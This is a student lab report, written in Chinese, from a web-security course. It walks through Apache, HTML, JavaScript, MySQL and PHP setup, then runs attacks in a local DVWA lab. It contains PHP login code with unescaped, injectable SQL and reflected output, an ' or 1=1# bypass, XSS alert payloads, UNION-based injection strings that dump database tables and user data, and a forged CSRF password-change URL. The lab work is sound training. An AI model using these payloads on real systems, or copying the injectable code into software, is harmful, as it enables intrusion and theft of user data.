20222327 2021-2022-2 《網路與系統攻防技術》實驗八實驗報告

QGOMLXG發表於2024-12-07

一、實驗內容

1.複習了Web前端語言:HTML、JavaScript(JS)、CSS,對JS、Java、Jsp進行了辨析;後端語言:C、Java、PHP、Python、C#
2.對於資料庫:增刪改查,、create/select/delete/update/insert………………
3.SQLServe、MySql、Oracle。
4.針對Web的攻擊主要有以下三種:

SQL隱碼攻擊
XSS跨站指令碼攻擊(Cross-site Scripting (XSS))
CSRF:CSRF(Cross-site request forgery)

二、實驗過程

1.Web前端HTML

(1)能正常安裝、啟停Apache。

輸入service apache2 start啟動服務

在瀏覽器中輸入迴環地址127.0.0.1,能夠訪問apache網址則啟動服務

接下來試著關閉apachesystemctl stop apache2

檢視apache服務狀態systemctl status apache2

成功關閉apache服務

(2)理解HTML,理解表單,理解GET與POST方法

HTML

HTML(HyperText Markup Language,超文字標記語言)是用於建立網頁的標準標記語言。它使用標籤(tags)來描述網頁的結構和內容。HTML文件通常由頭部(head)和主體(body)兩部分組成,頭部包含文件的後設資料(如標題、字符集、樣式連結等),主體包含實際展示的內容。

表單(Form)

表單是HTML中的一個元素,用於收集使用者輸入的資料。表單可以包含各種輸入控制元件,如文字框、核取方塊、單選按鈕、下拉選單、檔案選擇器等。表單資料通常被髮送到伺服器進行處理,例如,註冊頁面、登入頁面、搜尋欄等都是表單的應用場景。

GET方法

GET方法是一種HTTP請求方法,用於請求從指定的資源獲取資料。使用GET方法時,表單資料會被附加到URL的末尾,形成一個查詢字串(query string)。由於GET請求的資料是暴露在URL中的,因此不適合傳輸敏感資訊,如密碼。GET請求通常用於請求資料而非提交資料,例如,搜尋查詢。

POST方法

POST方法也是一種HTTP請求方法,用於向指定的資源提交資料。與GET方法不同,POST請求的資料不會出現在URL中,而是包含在請求的body部分。這使得POST方法更適合傳輸敏感資料,如密碼、檔案上傳等。POST請求通常用於提交表單資料給伺服器進行處理,例如,註冊、登入、提交評論等。

(3)編寫一個含有表單的HTML。

建立一個html檔案cd /var/www/htmltouch 20222327.html ,用vim 20222405.html進行編輯

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Welcome to login</title>
</head>
<body>

    <h1>嘻嘻(#^.^#)</h1>

    <form action="/submit" method="POST">
        <label for="username">使用者名稱:</label><br>
        <input type="text" id="username" name="username" required><br><br>

        <label for="password">密碼:</label><br>
        <input type="password" id="password" name="password" required><br><br>

        <label for="gender">性別:</label><br>
        <input type="radio" id="male" name="gender" value="male" checked>
        <label for="male">男</label><br>
        <input type="radio" id="female" name="gender" value="female">
        <label for="female">女</label><br><br>

        <label for="interests">興趣:</label><br>
        <select id="interests" name="interests[]" multiple>
            <option value="coding">程式設計</option>
            <option value="music">音樂</option>
            <option value="sports">運動</option>
        </select><br><br>

        <label for="message">留言:</label><br>
        <textarea id="message" name="message" rows="4" cols="50"></textarea><br><br>

        <button type="submit">提交</button>
    </form>

</body>
</html>

使用http://127.0.0.1/20222327.html瀏覽器開啟檔案後介面為(要先啟動apache)

這裡做出解釋,由於之前登入dvwa時瀏覽器儲存了使用者名稱和密碼,所以會自動輸入admin和對應的密碼
點選提交後跳轉頁面(由於沒有.php檔案所以404了)

2.Web前端javascipt

(1)理解JavaScript的基本功能,理解DOM。

JavaScript的基本功能

JavaScript是Web的程式語言,其基本功能主要體現在以下幾個方面:
1.嵌入動態文字於HTML頁面:透過JavaScript,開發者可以在HTML頁面中嵌入動態文字,使網頁內容更加豐富和生動。

2.對瀏覽器事件做出響應:JavaScript能夠監聽使用者的操作,如滑鼠點選、鍵盤輸入、滑鼠移動等,並根據這些操作執行相應的程式碼,從而增強網頁的互動性。

3.讀寫HTML元素:JavaScript可以直接操作HTML文件物件模型(DOM),讀取、修改、新增或刪除HTML元素和它們的屬性,實現網頁內容的動態更新。

4.表單驗證:在使用者提交表單之前,JavaScript可以用來驗證表單欄位的有效性,例如檢查是否填寫了必填項、輸入的格式是否正確(如郵箱地址、電話號碼等)、輸入的值是否在特定範圍內等。這有助於減少無效資料的提交,減輕伺服器負擔。

5.檢測訪客資訊:JavaScript可以檢測訪客的瀏覽器資訊,包括瀏覽器型別、版本、作業系統等,為開發者提供有關訪客環境的詳細資訊。

6.控制cookies:JavaScript可以建立、讀取、修改和刪除cookies,為網頁的會話管理和個性化設定提供支援。

7.伺服器端程式設計:基於Node.js技術,JavaScript還可以進行伺服器端程式設計,構建高效、可擴充套件的Web應用。

DOM(Document Object Model)

DOM,全稱Document Object Model(文件物件模型),是W3C(全球資訊網聯盟)組織推薦的處理可擴充套件標誌語言的標準程式設計介面。簡單來說,DOM是一種程式設計介面,它允許程式和指令碼動態地訪問和更新文件的內容、結構和樣式。

在網頁開發中,DOM將HTML文件或XML文件視作由多層節點(如元素節點、文字節點和屬性節點)構成的結構化樹。透過JavaScript等指令碼語言,開發者可以輕鬆地對這些節點進行增刪改查操作。DOM的重要性在於它使得開發者能夠以結構化、物件化的方式來理解和操作網頁內容,從而大大提高了開發的效率和靈活性。

DOM提供了豐富的API和工具,使得開發者能夠輕鬆地實現各種複雜的互動效果和動態內容更新。因此,熟練掌握DOM技術是前端開發人員的必備技能之一。

(2)在1的基礎上,編寫JavaScript驗證使用者名稱、密碼的規則。在使用者點選登陸按鈕後回顯“歡迎+輸入的使用者名稱”

首先完成JS的認證規則

對20222327.html進行更改

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>登入表單</title>
    <script>
        function validateForm(event) {
            const username = document.getElementById("username").value;
            const password = document.getElementById("password").value;

            if (username.trim() === "" || username.length < 2) {
                alert("使用者名稱不能為空,並且至少2個字元!");
                event.preventDefault();
                return false;
            }

            if (password.trim() === "" || password.length < 8) {
                alert("密碼不能為空,並且至少8個字元!");
                event.preventDefault();
                return false;
            }

            // 如果驗證透過,則允許表單提交
            return true;
        }
    </script>
    <style>
        .error { color: red; }
    </style>
</head>
<body>

<h1>登入表單</h1>

<form onsubmit="return validateForm(event)" action="20222327index.php" method="post">
    <label for="username">使用者名稱:</label><br>
    <input type="text" id="username" name="username" required><br><br>
    
    <label for="password">密碼:</label><br>
    <input type="password" id="password" name="password" required><br><br>
    
    <button type="submit">登入</button>
</form>

<div id="welcomeMessage" style="margin-top: 20px; font-size: 1.2em; color: green;"></div>

</body>
</html>

對使用者名稱規則的認證

對密碼規則的認證

接下來編寫一個在使用者點選登陸按鈕後回顯“歡迎+輸入的使用者名稱”的PHP頁面

進入html的資料夾cd /var/www/html,創一個用於接收使用者登陸資料的檔案touch 20222327index.php,進入編輯頁面,將程式碼貼上進去vim 20222327index.php

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Welcome!</title>
</head>
<body>
<h1 align = "center">嘻嘻(#^.^#)<?php echo $_POST['username'];?></h1>
</body>
</html>

登陸成功後跳轉頁面

(3)嘗試注入攻擊:利用回顯使用者名稱注入HTML及JavaScript。

注入HTML

在登入介面賬號的文字框中輸入

嘻嘻(#.#)



點選登入後跳轉

注入JavaScript

在登入介面賬號的文字框中輸入<script>alert("嘻嘻(#^.^#)")</script>

點選後彈出

3.Web後端:MySQL基礎:正常安裝、啟動MySQL,建庫、建立使用者、修改密碼、建表

正常安裝、啟動MySQL,建庫、建表

systemctl start mysql 開啟MySQL服務後用systemctl status mysql檢視MySQL狀態

輸入mysql -u root -p使用root登入,密碼為password

建立資料庫create database cy_db;
使用它use cy_db;
用create table 表名 (欄位設定列表);建立資料庫表,並插入資料:
使用者名稱為20222327cy,密碼為password。
create table login (username VARCHAR(20),password VARCHAR(20));
insert into login values('20222327cy','password');
查詢login表中的資料select * from login;

建立使用者、修改密碼

增加新使用者grant select,insert,update,delete on cy_db.* to cy@localhost identified by "20222327";
這也同時完成了將對該資料庫的所有表的select,insert,update,delete許可權授予新使用者。

登入新使用者

4.Web後端:編寫PHP網頁,連線資料庫,進行使用者認證

編輯php檔案vim /var/www/html/20222327.php

Welcome (#^.^#)
<?php
$con=mysqli_connect("127.0.0.1","cy","20222327","cy_db");
if (!$con)
{
    die("Connection failed: " . mysqli_connect_error());
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>PHP(#^.^#)</title>
</head>
<style type="text/css">
    .divForm{
        position: absolute;/*絕對定位*/
        width: 300px;
        height: 200px;

        text-align: center;/*(讓div中的內容居中)*/
        top: 50%;
        left: 50%;
        margin-top: -200px;
        margin-left: -150px;
    }
</style>
<body>
<div class="divForm">
    <h1 align="center">登陸介面</h1>
    <form name="form1" method="post" action="20222327.php">
        <table border = "0">
            <tr>
                <td>使用者名稱:</td>
                <td><input type="text" name="username" value="" /></td>
            </tr>
            <tr>
                <td>密&nbsp&nbsp&nbsp&nbsp碼:</td>
                <td><input type="password" name="userpwd" value="" /></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
            </tr>
        </table>
    </form>
    <?php
    $username=$_POST["username"];
    $userpwd=$_POST["userpwd"];
    if($username&&$userpwd) {
        $result = mysqli_query($con, "select * from login where username='$username' and password='$userpwd'");
        $row = mysqli_fetch_array($result);
        if ($row) {
            echo "welcome!".$row['username'];
        } else {
            echo $username."密碼錯誤,請輸入正確口令!!!";
        }
    }
    ?>
</div>
</body>
</html>

同時對html檔案進行修改

在瀏覽器中輸入127.0.0.1/20222327.php,輸入cy_db中的使用者名稱和密碼

輸入錯誤密碼後

5.最簡單的SQL隱碼攻擊,XSS攻擊測試

SQL隱碼攻擊

輸入永真式' or 1=1#,即使輸入了1位數字的密碼也能成功登入

XSS攻擊

輸入<script>alert(1)</script>

6.安裝DVWA或WebGoat平臺,並完成SQL隱碼攻擊、XSS、CSRF攻擊。

首先調整適應的安全等級(防止攻擊失敗還找不到頭腦)

SQL隱碼攻擊

1.sql語句猜測1

First name回顯在資料庫中對應的欄位,Surname同理假設表名為admin。
2.獲取資料庫名1' UNION SELECT 1,database() from information_schema.schemata#

資料庫名為:dvwa
3.獲取表名1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#

兩個表,分別是guestbook、users
4.獲取列名1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#

共有user_id、first_name、last_name、user、password、avatar、last_login、failed_login
5.獲取資料1' UNION SELECT 1,group_concat(user_id,0x3a,first_name,0x3a,last_name) from users#

可以獲取到user中的user_id、first_name、last_name(即姓名)

XSS

XSS(DOM)

將url中default=後面的內容改為,可以看到回顯

XSS(reflected)

直接在框中輸入

XSS(stored)

在massage中輸入

CSRF

輸入不一樣的密碼後

此時URL為http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123&Change=Change#
我們偽造一個URL:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
開啟URL後發現密碼已經被修改了

三、問題及解決方案

  • 問題1:啟動mysql時一直報錯
  • 問題1解決方案:啟動一下mariadb.service 就好了systemctl start mariadb.service

四、學習感悟、思考等

這次的實驗在操作層面不難,還是保持著網路攻防的慣例:搭環境,如果環境搭好了具體的操作和原理其實不難,但是如果環境沒有搭好就要一遍又一遍的去配置環境。從內容角度來說,這次實驗最讓人感受深的就是靶場練習中體會到Web和資料庫原來會存在這樣的安全隱患,在之前學習相關課程的時候並沒有注意到相關問題,雖然相關問題在現階段肯定有所防範、有所改善,但是從學習者的角度來說,我們一定要加強防範意識,從底層設計時就要考慮好相關安全問題。

相關文章